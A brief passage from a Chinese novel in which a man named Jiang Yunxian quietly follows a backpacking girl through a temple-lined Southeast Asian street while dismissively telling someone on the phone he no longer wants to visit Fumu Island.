南洋街头,寺庙鳞次栉比,金黄的塔顶密密麻麻地排列,江云宪穿梭在人群中,步子不快不慢, 他像不起眼的影子,步调跟树荫下背双肩包的女孩保持一致。 始终维持着不远不近的距离。 看不出情绪的眼睛像幽深的潭水,握着手机,语气索然地敷行对面:“阜母岛没什么意思,不想去了。